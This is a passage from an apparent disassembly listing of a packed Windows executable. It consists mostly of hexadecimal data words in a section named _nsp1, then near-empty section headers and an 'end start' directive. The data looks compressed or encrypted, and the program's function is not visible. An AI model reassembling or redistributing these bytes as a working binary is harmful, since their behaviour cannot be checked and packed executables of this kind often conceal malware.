0B3DB3E84h, 0FDDF8FDCh, 23BEBB0Dh, 1AE5D498h, 0D1522D7Ch dd 1EAC7B9Ch, 73C3F31Eh, 1C071625h, 211B8CADh, 834F7AD6h dd 0E1B7E853h, 0E142C8E0h, 805FE052h, 0BFBF74FDh, 2A46076Fh dd 0DC0240C0h, 0FF39694Ch, 70C3F2A3h, 2ADC1ACAh, 22089F8Dh dd 2BB486D3h, 43AABDAFh, 0BD862A54h, 4FE9BE3Fh, 0D657C3B4h dd 7621905Ah, 27BACD35h, 0A785DA3Ah, 87F49218h, 0B5D47532h dd 0BCC124DDh, 3F6748FDh, 0E01BF02Ah, 37868965h, 50547CB3h dd 0EC646C1Dh, 0FC693586h, 259D4534h, 0D612ACEFh, 16677F06h dd 9532D903h, 0A1DCB640h, 1AB89833h, 8B549F2Dh, 0FEB009CBh dd 6119AC7Bh, 0C33CA2E7h, 0F6E6AB64h, 8A93A8C6h, 932729h dd 1750FF6Ch, 5BB18BC6h, 3DAA0E88h, 8909952Ch, 1EBB6C24h dd 53FD33D2h, 7634EFC7h, 9BC30A96h, 83B8A7E3h, 37E57F4Bh dd 9E0C07Bh, 6F3EAF8Eh, 1C6B50D0h, 137C8A84h, 0ECD5033Dh dd 0FC2D7507h, 0BE14BDh, 59FF14D4h, 6101829Dh, 837118BFh dd 0B67ECC6Dh, 0A0165226h, 0F173CF2Dh, 0A132DD68h, 617AE57Ah dd 23A8CD5Bh, 412C6716h, 6A038FCAh, 6258D145h, 4551F45Eh dd 5E8BD2F0h, 0E6BF3C8Ah, 0DCCC3819h, 0C63EB584h, 0B30D68Dh dd 83A6BE65h, 359E411Dh, 701FD794h, 9C775307h, 801B052Eh dd 0A0E2118Fh, 0F0B3A7C6h, 4B215FBDh, 8E42AB29h, 3A14D528h dd 19D004B7h, 0D713F05h, 9456CE43h, 14F7D990h, 0B2FAC98Bh dd 1B49779Eh, 0B7B716EAh, 88E6812Eh, 0B739433Dh, 0B4DA0352h dd 87C45158h, 1C1721D2h, 0BAE902D2h, 1DAC0BF8h, 60803BD9h dd 6C0A2755h, 0BC99237Bh, 0D7E7DB73h, 1BEED0BEh, 63319277h dd 0EF7DE78Dh, 0E66BBA6Fh, 0F92509D2h, 0C47ECAB1h, 9473BCCCh dd 1634B13Bh, 11729526h, 0A8C22DA8h, 0D6E55F10h, 0C218511Dh dd 86FA844h, 0F6EE7A2Bh, 53E16603h, 2A850295h, 294C3E40h dd 6C1E2B55h, 61FA3359h, 8F38451h, 9DAE8BBCh, 24FFBD8Dh dd 8E6DEE2h, 40CCF1BAh dd 42B188Ah, 0F8DC48CEh, 0D543A743h, 0E690E733h, 3A413199h dd 1E2E22BDh, 8F1E27Ch, 0AB420B51h, 209E066Dh, 0BF6203A9h dd 0B0D3542h, 0B2B067AFh, 4C5FB5A7h, 0CDF91522h, 0BA3AEF1Eh dd 48586FB0h, 6A52D422h, 4E572F59h, 1618B1EAh, 423F9F6Ch dd 0F4F21D41h, 22E7E2B9h, 0B147A031h, 36521456h, 570E5DBCh dd 43D2DDC9h, 7649C114h, 83F0772Fh, 2E2D4652h, 13FF8B49h dd 0CF4B75Dh, 0D795B81h, 8B0AE78Eh, 0D307B1Fh, 0EC60D6DDh dd 0FE0797EEh, 0D6E6DD7Fh, 0DCF2BDD1h, 165579F5h, 6994E5CCh dd 0F03042C8h, 9A5702A2h, 0DBC5DE44h, 0C5F39CE7h, 0FCA0C461h dd 730DD059h, 0D204695Fh, 6C26387Eh, 65063334h, 20213FA3h dd 79B33147h, 2C952543h, 0F5387343h, 0FBABA2E8h, 84F434BEh dd 81FFF7DBh, 0E6C3C0h, 3EBD6FA7h, 76CC6E6Bh, 7D0E6E00h dd 0D55691B5h, 0A12E29EEh, 83FF8DACh, 0FD895A6Bh, 79D8BE1Ah dd 7695CDC7h, 6FF0CBCh, 0C3B3DAD2h, 0B94E2349h, 4AD1F718h dd 0C3E6800Ah, 0A74F1ADCh, 0E39D2A7Dh, 5A3D937Bh, 0BFDB271Eh dd 0BFEEE7FCh, 7DA33884h, 8632C2E7h, 0A39633C7h, 276AB6C4h dd 4C18EFB6h, 6335D95Fh, 0CE1059B8h, 0D2AA1BA0h, 0D5FDA88Fh dd 0E5E6D3F8h, 1172074Eh, 44A036ECh, 1F7557EEh, 518433CBh dd 0BFB2A4DCh, 0BBEA0B96h, 0AACA64D9h, 0DF4168A9h, 0F7237C9Bh dd 0EE4FA6A7h, 0B47B44D2h, 0D1B9548Ah, 9F466FEEh, 0FAA03EE2h dd 3C27857Bh, 0B13A5ADCh, 0DF4A343Ah, 0CBB21827h, 0FC86D1D7h dd 9D7CBEF5h, 97482277h, 22CC696Ch, 0E8F31DF3h, 25C059FAh dd 80B8E9D0h, 0A3E9D75Eh, 0AD1F848Ch, 600B9DDFh, 0FD82DE5Fh dd 25DE9684h, 0B9476FA7h, 6785AC6Eh, 876E44D4h, 6E97DA85h dd 283F6CE6h, 0F6B8E38Ah, 219154D6h, 0D25B1B02h, 7F38C6CDh dd 0B375066h, 2E0AEF40h, 52792063h, 0F1A5194Ch, 6F455E02h dd 32757484h, 7A0D2CB0h, 0E8007F44h, 2FAC2ABh, 47D18D69h dd 0E5713C47h, 8F07D4EFh, 94A81B75h, 8669B54Ah, 509AEF9Dh dd 1592E7F4h, 0C92646D2h, 7AF3C6F4h, 0B972DD7Bh, 0C5538EA5h dd 8B4A4A36h, 87B35486h, 78507985h, 0C3A34E80h, 6E470A5Eh dd 0BC925725h, 0A3781499h, 55822188h, 25A3CBAAh, 0F976B286h dd 3EE0A428h, 2BF7D26h, 46EF4B0Eh, 69205336h, 0D299FC18h dd 7302871Ah, 0F1655E5Ch, 0FF5EA01Dh, 6EEEA092h, 83EF5910h dd 90675DDh, 5671FB20h, 77F754F9h, 9508ECB2h, 90E01164h dd 0E9177843h, 6FF3EF02h, 1AA4F6B9h, 37C66A5Dh, 7D434A42h dd 3FCC2EDFh, 72B0F954h, 31D400Dh, 0ED9E2AA3h, 8F181494h dd 0CC10F5D4h, 4EC71429h, 22A26404h, 6B634B67h, 3E8DE8DEh dd 67DC8D4Fh, 2864FDF2h, 0FB1F82FFh, 1781EED4h, 7A892696h dd 0EA5CA7D3h, 0AEB1FAC5h, 0A603C292h, 932D2F5Fh, 795D1E1Bh dd 0C6C6C4A9h, 9A5A662Bh, 1195D925h, 19BF46F7h, 0F64ABA43h dd 0BA78D781h, 2293F562h, 4C4FA190h, 0AB633D32h, 36BD104Ch dd 1774F668h, 7E9C0012h, 0A5DD311Ch, 79CD9E2Bh, 768F08C7h dd 8DB46CBCh, 43C2B4FAh, 4FBDC4D2h, 68B2D3A4h, 56BC0429h dd 40488D5Dh, 6B36A98Eh, 4A52216Bh, 0A6ED7995h, 0A363633h dd 425CC43Eh, 38EA02Fh, 1F9D62FDh, 0FE4EE36Ah, 0D8429FADh dd 0FC2FC1C9h, 2D043280h, 6AAF1EFEh, 349A0AACh, 8952DD95h dd 5D3E9B82h, 54DC8FC9h, 0BFF3E83h, 6E8A426Ah, 9471F4C6h dd 5B15E1D0h, 0A3345A69h, 72BBB635h, 1E5DAA57h, 0E7E0F6ECh dd 684B4996h, 49613252h, 957661D2h, 2DB56A4Eh, 0E44B4918h dd 8C1C4B08h, 89E8E52Ch, 0C44BB51Bh, 7CCFB316h, 363525FBh dd 69206BB8h, 32ED26B4h, 0A2167E71h, 0E33DF81Ah, 0F1FC7F29h dd 33A3FE90h, 0D92FE9C4h, 5F7A6B29h, 0C067E0F5h, 2C819617h dd 0B9FEF66h, 4ADEEE9Ah, 0EBAE982Ah, 746A16B9h, 4F0DE2FEh dd 0C9DDD472h, 79F5B04Dh, 5653D85Fh, 0AD5D213Bh, 89DA5B40h dd 6D5F4B1Eh, 0FEE492C9h, 3690A365h, 910030B3h, 0E6C3B35Ah dd 57931D13h, 0DFFE9C90h, 2A7F9E9Bh, 1461EC81h, 8ADEE46Bh dd 9B6E9351h, 0F886297Ah, 476B0F55h, 556BB99h, 0C52C01F0h dd 2D54717Ah, 3AEDC516h, 7608EA26h, 0A4924F17h, 0FC7B3142h dd 7AF70A50h, 0D108580Ch, 58BA0DAAh, 0BF47D7F9h, 0C58C71B5h dd 0E65CEBB6h, 74C37E9Bh, 979D927Ah, 6C758AA4h, 0E88BBDF4h dd 99E0DE8Dh, 8AEE8452h, 222ADA88h, 47EC43D9h, 0B4EAA715h dd 1D2AB75Ah, 7A6F95EEh, 6D955F9Eh, 0D201978Fh, 0DA291975h dd 0A52451Dh, 0A093B08Ah, 3C52629Fh, 25F3DE8Bh, 0D51C870Bh dd 3E06418Eh, 15B3CEC6h, 9C722C52h, 284697EAh, 241E5E8Dh dd 5738E584h, 0E00928BCh, 0E0E567C2h, 12D3F1F7h, 643674E5h dd 3704220Fh, 4545A0CEh, 34D69617h, 0ADE5037Fh, 0DF915D9h dd 7310067Bh, 0F8E76F3Dh, 0FAF8BFC8h, 654E64EBh, 65B796AAh dd 0D299FEF5h, 3A30A608h, 0BF0E78B4h, 448F5A29h, 0CA91C572h dd 36414E43h, 0FAE9C62h, 0E6E1F270h, 0EBC0AA6Ch, 0AAE4E2EAh dd 1B4BB668h, 97CAA800h, 9F766130h, 588B4778h, 52C80ACDh dd 0FC98736Bh, 3939CC82h, 7D128B0h, 0C7C9F1A5h, 8F4708DAh dd 0A9D465F7h, 3A187BC1h, 464EFF72h, 0A677D0C5h, 40A03EDDh dd 1F2FF8CAh, 0F8D3D013h, 77AB98B6h, 0D3641C09h, 0B62A0325h dd 0FF3F26E9h, 13705F87h, 9CD50922h, 96AF9830h, 22CE282Bh dd 8BE575CAh, 9D0650E0h, 515B8DDDh, 65C61079h, 30621DF6h dd 14D90EACh, 850C18C4h, 82EDA4B6h, 4A9C9AD5h, 9406B2C0h dd 22D3CB07h, 0F5002BBAh, 0CC06D03Ch, 16A8CC2Eh, 52DBB658h dd 0B90976B4h, 0A0EAFE59h, 0DA09769h, 0E6FC529Fh, 6B464B41h dd 3028DF96h, 0C8A4A2E5h, 696D65AFh, 9E9439ACh, 0A91D36B1h dd 0F70CD809h, 6B8A85C9h, 0C8C49C95h, 889B6B82h, 96C419BFh dd 0F26AA1E4h, 4D48DC95h, 0BDF95908h, 0B231E57Ch, 5B28B4F5h dd 84F2695Fh, 4A56FC51h, 5F0A65F5h, 9329271Fh, 0D671A407h dd 35F0A832h, 20EA3CECh, 781F3A43h, 7D3CF7B6h, 7BCDFD83h dd 527060AFh, 0F95451DBh, 5693BF3h, 831623FFh, 0F38932ACh dd 0F622CB75h, 8D2791E5h, 203C6E5Dh, 0F00230FBh, 28240839h dd 585F1D2Ch, 96D93E81h, 90F94DAEh, 127C3345h, 8D33B319h dd 4CDEB8F4h, 0DF94BD88h, 0FFC0B80Eh, 35148D9Dh, 6D1B4A0Ah dd 360BB3Dh, 19734C90h, 0EE05A1A4h, 2E6370B8h, 0AE6EDE4Fh dd 52E673A6h, 9DAD06CFh, 4C5B3262h, 0BB54F12Ch, 2FAA4E2Dh dd 0D1ABD77Fh, 0AD5C2687h, 6B121510h, 0BE888EE5h, 0D5D5BD45h dd 0ADD0D3DAh, 7D899B3Eh, 5460AA5Ah, 7A9AF2B1h, 0E1D9F75h dd 7089D722h, 0BC81D7A8h, 8ECEFE53h, 708FE247h, 7DE48E51h dd 1369B17Ah, 0B7F4271Ch, 141B29CAh, 4521D2CDh, 3DEBABF6h dd 334FE942h, 3E80427h, 9E1415D9h, 5CB6ED45h, 5080ADCDh dd 392C32BEh, 0E9BDA148h, 67D32A0Ah, 3B815ED0h, 0CBCA6B37h dd 620B2EFCh, 0B865FD99h, 44EBFC8Ah, 0BA8B17B1h, 919026A1h dd 36178F9Eh, 9E7CDDBFh, 1201696Ch, 0EC8AF1CCh, 0CF4B1F7Ah dd 0DF3BE732h, 38178EFh, 1B3E257Bh, 3E8B711h, 51016474h dd 7A01111Ch, 64A2F83Dh, 4B39EAD9h, 0A15A841Ch, 2B4FFCBFh dd 518292C5h, 0E35AA330h, 76157B74h, 3E67EE9Dh, 0EF2BC015h dd 0FC4F8CCh, 0D98D7C5Bh, 0B21572D6h, 0CAA24E71h, 0B35A60E4h dd 0A2504668h, 6B8AAE12h, 0DCDB0C1Ch, 1002EF9Fh, 5D729542h dd 0E9BB9227h, 3FFE27B4h dd 50E9270Eh, 0AC7CB868h, 0E94AD8ECh, 57B89A9h, 856FB221h dd 0E061EC3Ch, 0F52DB66Bh, 0F5BCD049h, 0B0ECB4B0h, 0F130B54Ah dd 604C447Bh, 0A9264FA0h, 79B68910h, 91963345h, 5CF54792h dd 1FCC9103h, 25EC052Fh, 0E36F8EBh, 80FCE9ECh, 11991C9Fh dd 6DA2C1Bh, 0D1E932C2h, 9B21B3B4h, 0A734DE9Eh, 5D9FA90Bh dd 0C86AFE70h, 0EDD2746Eh, 0BD81A453h, 7918A20Fh, 125E80B4h dd 0AB03F865h, 6C1F9959h, 8300620Ch, 0EFFF0728h, 8A6FBCDBh dd 5B3CB94h, 89744FD5h, 0E1A8223Dh, 35EE198Ah, 0A0E35ABFh dd 73716855h, 2FA37E4h, 85D525D5h, 130B0546h, 31A8ABEAh dd 0F30788D3h, 0D0E74865h, 2D79AE66h, 2A8B5F3h, 0F78A982Bh dd 913EE93h, 0E4FC0D55h, 0AB0EBEB2h, 33A79A0Fh, 5BCF0D77h dd 6AA9A7A6h, 28784FE2h, 0F365E4A8h, 2EC0E4CCh, 4C7916E3h dd 457A6DBAh, 0D7192133h, 5DE3E60Ah, 5095EE2Fh, 0D38A9C8Eh dd 3A575D5Dh, 0B9A4CF8Bh, 3D98FAD2h, 370A491Dh, 8DB4709Ah dd 0BE981B9Eh, 0C4781B22h, 128BD3CFh, 0DC8FDBCCh, 880AFCACh dd 0E06F3483h, 38A97C95h, 760C0C29h, 2E0859EDh, 0B64D9DB2h dd 6CAF518Eh, 6C551808h, 0F99EA872h, 734DBC90h, 0FE313D9Fh dd 42CBEF6Fh, 0F8D0204Bh, 3DEEEBFAh, 0FFF5AF64h, 8480A96Bh dd 3E4663Ah, 10A3612Fh, 3717CC5Ah, 76B3B14Bh, 0D90819B1h dd 883BA2A1h, 2A608C66h, 0F397F882h, 0F5C1B454h, 303AB7E1h dd 5EBF1F0Dh, 0D072106Ah, 462D447Eh, 91C97896h, 34E52433h dd 4BE370A7h, 64BF8B57h, 6F67F668h, 0BF7F1298h, 2BD3F68Eh dd 62F59C0Dh, 45B236CDh, 2CF5EC1h, 3A5279CFh, 0ADBB5E1Ah dd 64782A2Dh, 0EA7D04F0h, 643DD7F0h, 0E70F2D8Fh, 83A1B12Ah dd 0F83B633Ch, 202F6B63h, 30A4AA9Ch, 54443984h, 8DD239CCh dd 61409F34h, 0B70169FCh, 0F6EE7E20h, 0DA19E580h, 0CAFE4055h dd 0B411B41Ah, 938707B5h, 347C53F3h, 26633F48h, 84945A4Ah dd 7774E2A0h, 0BB7FC77Dh, 914F3F6Ch, 55F84716h, 0CEE60E12h dd 126586EAh, 0A474BCh, 3E33A86Dh, 8163EB39h, 0C05051B3h dd 49455158h, 0E37DA69Ah, 96FDF904h, 0B68FD5B5h, 1B296900h dd 64CFC973h, 0B313D73Eh, 5EE6EC70h, 0A6995638h, 6A9238B4h dd 2D3D1E92h, 839E4EFFh, 3FD5F662h, 0D9F3ED7h, 2F9E4FE6h dd 42683ABDh, 52651813h, 3C81CFF2h, 426DA0BCh, 898A2FA2h dd 0E3B70C44h, 3E3F81CCh, 8CFAC4C6h, 4966EE5h, 0ADA506EDh dd 205CA9FFh, 0EB39E1Ch, 8E52682Ah, 0F19C7A95h, 274204BEh dd 0B5A41F69h, 0AA849513h, 0D664A3A2h, 580C5B74h, 0F221C863h dd 6E486AE5h, 4E01DEECh, 2F09AF0Ah, 0A5C3A55Eh, 0D64917AFh dd 38B751C4h, 66F20CF6h, 0E7DB35C8h, 82F0BD74h, 38E99BC2h dd 6C8D40AFh, 9BB0D51Bh, 31F467CDh, 0DA3C14B3h, 0D5EF6E2Fh dd 0CFA02620h, 0BA9FAB28h, 0A1E77E80h, 6915402h, 8950DDF5h dd 71239BCAh, 62B53E8Ah, 9E409B49h, 0BF5628F2h, 6D316F8Dh dd 0DD9AD0DCh, 17DE7E23h, 0FBE7A6A9h, 2C144C67h, 7509F9BAh dd 9591C636h, 3B19A42Eh, 81E70375h, 9924E834h, 6CB918Eh dd 229A4C1Eh, 0FBEB49F5h, 0D4A168AAh, 376A102Ah, 0F21802Dh dd 0EBE65209h, 0FAFB0A14h, 0D4C51367h, 0FF8712FBh, 0C9D73832h dd 5358CF81h, 961C40D1h, 0FBC73C8Bh, 0EE4DF4E7h, 40C5A41Fh dd 0A7DF230Fh, 3CAE3B4Fh, 2B026E7Bh, 31262DB3h, 3D8B032Dh dd 0DF87586Bh, 0D80C8018h, 0A0A3E251h, 0D9955D2Ah, 42DE3414h dd 0AA21BA99h, 0D6743939h, 8F2F327Dh, 7621D31Ah, 8BA39CF4h dd 656A0668h, 0A529ED0Bh, 2B26478Ah, 0B2C1B9BCh, 4539C030h dd 0ECC6C4B8h, 6404AA19h, 0FA98D3FCh, 7D7AF964h, 0B5C12EB7h dd 3B0EBFFBh, 3B56A1D1h, 0C335D8A3h, 1E1D9606h, 0B780DC9Ah dd 0D0572FE2h, 27CEE9ABh, 0E3D75748h, 444018B0h, 0F7646C28h dd 0B1FB5EF2h, 33E3E17Bh, 704234A9h, 0D3C78E5Eh, 0DD6C3D49h dd 315E8A1Ah, 0B70FFCD6h, 66345EBFh, 7D1FF351h, 2C678EEEh dd 0EBBC0D84h, 0D4E03F48h, 972A31EBh, 19511930h, 6EC814Dh dd 454B2326h, 32FC7204h, 7D145040h, 791665C6h, 872D990Bh dd 0E353FF22h, 0E425209Ah, 1CE92584h, 0B82DC888h, 304C7133h dd 0C5F02047h, 7126217Eh, 3F58DDC4h, 6D8DC573h, 0F6B3AFAFh dd 7749B437h, 85B6C7F7h, 0F1D5DB5h, 7E831D86h, 0A81B844Eh dd 4F82F96Ah, 87A2C2AFh, 0C47E1149h, 7FE3D009h, 8962F97Eh dd 68753FA2h, 0FA7F9F34h, 8B75927Fh, 8066B8A4h, 0B43802BEh dd 5DE4531Fh, 505501C4h, 8939B1AFh, 0A6D2E61Ah, 0B315DBD2h dd 94DD94B4h, 285CE3DAh, 71178A19h, 0DC581E07h, 0BA08ECE4h dd 109E6864h, 0D56666B1h, 934821B7h, 2B823FE3h, 0F4FF82Fh dd 5D4A25A6h, 0FB61EC53h, 97911A5Ch, 0CE558695h, 0C98F14B8h dd 4ECDD93Fh, 63D820BEh, 829DE143h, 0C243F904h, 713E2D17h dd 0BBB6EC20h, 9271F560h, 5D0B5510h, 1464C6E9h, 3EC579FDh dd 1037C9ADh, 814EE936h, 0E5682150h, 86F3416Ch, 0E9D528E0h dd 0D82239A8h, 82622FFFh, 76E405F9h, 435863BFh, 22F48Ch dd 4D8ED0CBh, 4DA7FC84h, 0AFFD61DEh, 347CCCB6h, 58406A32h dd 922BE232h, 44D27890h, 5C5E17FEh, 55E8DC7Fh, 0A581F0FFh dd 0D9730902h, 652D9BAEh, 4CAB2409h, 87B87FD2h, 6833F99Bh dd 0E4FD9120h, 0E59DC538h, 0CFC34B6Ch, 6CF154E3h, 0F05315E1h dd 0D4C2B0AFh, 75535D1Bh, 0C998B071h, 0F5AC7C13h, 610E5A4Ch dd 8E12C9C5h, 0F82C33A0h, 49111B30h, 78536907h, 510F25F3h dd 5E7B8D98h, 670A60C0h, 0FA6B9880h, 0C5322CB2h, 0CB80A76Ch dd 0E126288Fh, 76563CD3h, 0C1118E79h, 0DE2BFF6Bh, 94F229ABh dd 3041B70Bh, 1C97A09Ch, 0C1E2A39Fh, 99721F50h, 395892C1h dd 9BED2C75h, 516A2FA4h, 686405E6h, 0DE4FD4F5h, 7342D569h dd 8A95434Ah, 0A7687FF1h, 0AA442463h, 170F03A4h, 0ACF7334Bh dd 0B7E56B9Ch, 836D0DA6h, 8F8280Eh, 6182FFAh, 8CF8852Fh dd 2BF8F39Ah, 547EE9B4h, 0ED44846h, 0D7866FFCh, 0D04A371Ch dd 88882C2Ah, 72E9ADCCh, 0B6B9CFCDh, 2ECD0A32h, 0F37C8D58h dd 78016108h, 48FDE9F5h, 9D65FB33h, 6D747633h, 29E54EC4h dd 44DAB830h, 0D38E61Ch, 0ACAC1930h, 0E1F326B6h, 0E94CB2B2h dd 7AE3DD10h, 0D43FB2A8h, 0A9174205h, 4B01E54Dh, 357E9250h dd 0CAA4909Ch, 15F76BF7h, 0AA741C0h, 5EA31F8Bh, 0B910F677h dd 1D1D6E4Ch, 0C0C4AC0Ch, 0EF66D430h, 9239647Fh, 4D815B59h dd 0ED146A35h, 3D73FA1Bh, 41E26809h, 0D9231D72h, 0F55A3FA4h dd 36B9FE29h, 0E5E8E7DBh, 0B31252AEh, 2D41DA8Dh, 96E79C14h dd 0CDF9E78h, 0CA51A86Ch, 0D8CB5DF4h, 6171BF6Ah, 0C817B91Fh dd 6CD6F6CFh, 0CCB5D155h, 2B792FFh, 1C72F86Eh, 2ED04147h dd 332A8A24h, 0A68535EFh, 2BF9E257h, 0A3787474h, 3063B990h dd 87CB5981h, 2BFF444h, 0BCA5D801h, 0D321EC6Ah, 82ECF8D6h dd 424B74Eh, 4C327117h, 3B3A59E0h, 0CFE05350h, 54C3F145h dd 7973775h, 1F680383h, 83F5DF16h, 19977504h, 0A37C9A51h dd 21917D2Ch, 51D18E03h, 0C2FB864Dh, 9CF25A6Bh, 650EA7ECh dd 2992DE6Ah, 0CC6077C2h, 91BB971Ch, 19DBF673h, 0F1FBE4E4h dd 0B9A7CB3Ch, 60FE34Eh, 681A8C0Dh, 0ADF1526Fh, 0A869E935h dd 0CFC2E96Fh, 8E842FDFh, 0F2C6A9EFh, 0EB84D492h, 0EC2F787Ah dd 0C8748E56h, 13B8EAC5h, 6900D295h, 7A2CC859h, 0B806BEB5h dd 0B733EFD1h, 83E9D9B8h dd 98EDB6FDh, 0EC884482h, 1D21EFE4h, 5CE75149h, 0C04D8FB9h dd 0ACAEC907h, 9D34D826h, 0DFB527D1h, 0BCE74DF9h, 4820FE09h dd 0BE21EA72h, 2B174790h, 9182BEFDh, 7E31C45Ah, 903DE780h dd 0B6EE0DA7h, 66D22D3Bh, 2BE7A2BFh, 0C477029Ah, 10B3F955h dd 1DA80F0Ah, 8BF42ED9h, 12BF7FAh, 93E55ABh, 0FBFDAB25h dd 0DE5D8D37h, 78E776E7h, 0DB952D3Ch, 44C593FDh, 9DB096C5h dd 256993E0h, 1B9ED048h, 1C1192F0h, 5ECC3EA5h, 5CC88734h dd 0D4F350C1h, 25C70105h, 0E98F4FFAh, 7F38E055h, 0DC9368A9h dd 83451D46h, 5FBF971Ah, 0AA3AEA3h, 2C9CD1FEh, 0EEAC61F4h dd 85ACA13Ch, 1FDA3C31h, 34E2A39Ah, 0A40E158h, 0DE3EFAEBh dd 0E9AB1480h, 14DA172Ah, 9A2140A6h, 0AC495373h, 26732B51h dd 3583DBAh, 72EB5BBDh, 5BC0F90Fh, 123592Bh, 0B15ABA43h dd 32280777h, 1D09F481h, 6AC1E6F7h, 8487353h, 6F833884h dd 1288F2A4h, 5D60F509h, 0B9C589Fh, 65667CACh, 215C23FCh dd 517BFD9Fh, 26CA0CA6h, 41A31E01h, 63EDEE34h, 73AB9EC8h dd 9CECF49Dh, 0B5DAF95Dh, 3D306BA8h, 0F2365333h, 0F6F621A8h dd 0D951454Ch, 0B8E50E05h, 0B256FA43h, 10B6E9E6h, 7313044Eh dd 319A856Ch, 0D68CFE26h, 64C8B682h, 0DC13791Fh, 885DC69Eh dd 0DFE9F360h, 33C27261h, 3395EBB7h, 0B3708250h, 7FD4CD8Eh dd 5D2C5C38h, 0DDBBD5Bh, 0DCC15774h, 1A7C3C15h, 97F26BBAh dd 81BD180h, 12A169A6h, 0F4410AA8h, 0FDF36B72h, 628D984Dh dd 0E7E6E43Dh, 96298418h, 21008902h, 3ADEDB44h, 405CF4DCh dd 23725349h, 89F3ECB8h, 54E60DF7h, 0CCF977A8h, 2D0C527Eh dd 0F5E00B34h, 9E687362h, 77AC4C26h, 95E11A7Fh, 0E0245225h dd 0BB2DFDDAh, 62A1B924h, 0A10D9890h, 0D864492Dh, 34F8C950h dd 0ED17038Dh, 0D31B15Dh, 0B85354C7h, 4657D14Dh, 7E50CA1Fh dd 83EEBF6Fh, 0A99E325Eh, 0B65E94CFh, 0F9A57DB3h, 483FDC40h dd 0F5868B1Eh, 0F93237E7h, 3E5DEEB0h, 0C2A52F04h, 0F0EC5865h dd 6B571E3Ah, 0CF67C458h, 0EBD0BC27h, 26CC27B7h, 0F21DB4E4h dd 0CD092116h, 0BD315384h, 32416658h, 0F30A4D6Bh, 0EEFEEE93h dd 78C85C4Ah, 0BD1E0466h, 9D8DA8D3h, 92A09E85h, 0F804BCC2h dd 5CB34B8Ah, 86D698EBh, 0FACB086Eh, 8AC6A0CFh, 1D3A7A45h dd 3A6F1A36h, 61318DA2h, 0DE5AEFB4h, 0A7D2AC9Ah, 80991440h dd 0AF1C97A4h, 676341EDh, 44861AC7h, 0E660BE36h, 28862355h dd 0F7C0C220h, 0E65DA68Dh, 0BF8D695Eh, 0A3E1E504h, 0D89D587Eh dd 4DAD9045h, 3F004BF6h, 6822BB93h, 0E81BE7CEh, 15954FEh dd 253105EBh, 0A2C38100h, 0B77FB5A0h, 2F6D42FEh, 29997B1Fh dd 64EE139Eh, 2DEF0D57h, 0CA4B4E49h, 71F36935h, 0CC899C11h dd 736847Fh, 0C545806Eh, 0EB8B3486h, 0EEF33FD7h, 8409A7C4h dd 0A08A7F6h, 91B40CF8h, 2B4522AFh, 0D169E583h, 0D400E18Fh dd 0FE6204Ch, 0E36843BEh, 0E9424B07h, 0B8650328h, 7225004Ch dd 8C2D7BD0h, 8E2416A6h, 75DB8469h, 0D0D7632h, 42660EEAh dd 21460DC3h, 51B54951h, 19F3D2E9h, 0E5161CA5h, 1A285944h dd 0E1945FAEh, 20879C5Fh, 0A9B3B660h, 8D70840Ah, 0E491CC50h dd 0AC7C8857h, 1FFE29C9h, 0CDF08398h, 0C409D6A1h, 3CA64D49h dd 0CDFB0291h, 847E0C4Dh, 0DFAF1027h, 0CADA8879h, 0DD25CB9Ah dd 5DE14A8Ch, 80DCC1E4h, 80E0730Fh, 8F2EA2ECh, 7BFC0800h dd 63F551E0h, 8FD6F409h, 4BC35910h, 65F8B07Fh, 229F34F8h dd 3A96AD4Ah, 0B5719F7Ah, 1C0490A3h, 31CF4BE9h, 627BAD14h dd 6855CB01h, 0A6E8056Ch, 382F8190h, 0C0D3EF24h, 4CE30A6Bh dd 202044C3h, 1228300Ah, 5ABFBBDh, 958FF95Fh, 635A9A46h dd 784832CBh, 174FEDCDh, 1B33606Ah, 0B016088Fh, 3D5C11C2h dd 2E15E84Eh, 496AFD2Dh, 0B985DFF0h, 0C39037Eh, 0D1BB0035h dd 32BCECBBh, 920A9729h, 87A28D66h, 801BBF9Fh, 0C5B1EE58h dd 0DF35420Dh, 73B30944h, 7EAE8B65h, 1CEE675Bh, 7E91F70Dh dd 0C6C7C508h, 0E2E10B63h, 10555B77h, 0BC5AB47Dh, 31h dd 247h dup(0) _nsp1 ends ; Section 3. (virtual address 00088000) ; Virtual size : 00000A3B ( 2619.) ; Section size in file : 00000A3B ( 2619.) ; Offset to raw data for section: 00088000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp2 segment para public 'CODE' use32 assume cs:_nsp2 ;org 488000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 28Eh dup(0) db 3 dup(0) _nsp2 ends ; Section 4. (virtual address 00089000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00088C00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 489000h align 2000h _idata2 ends end start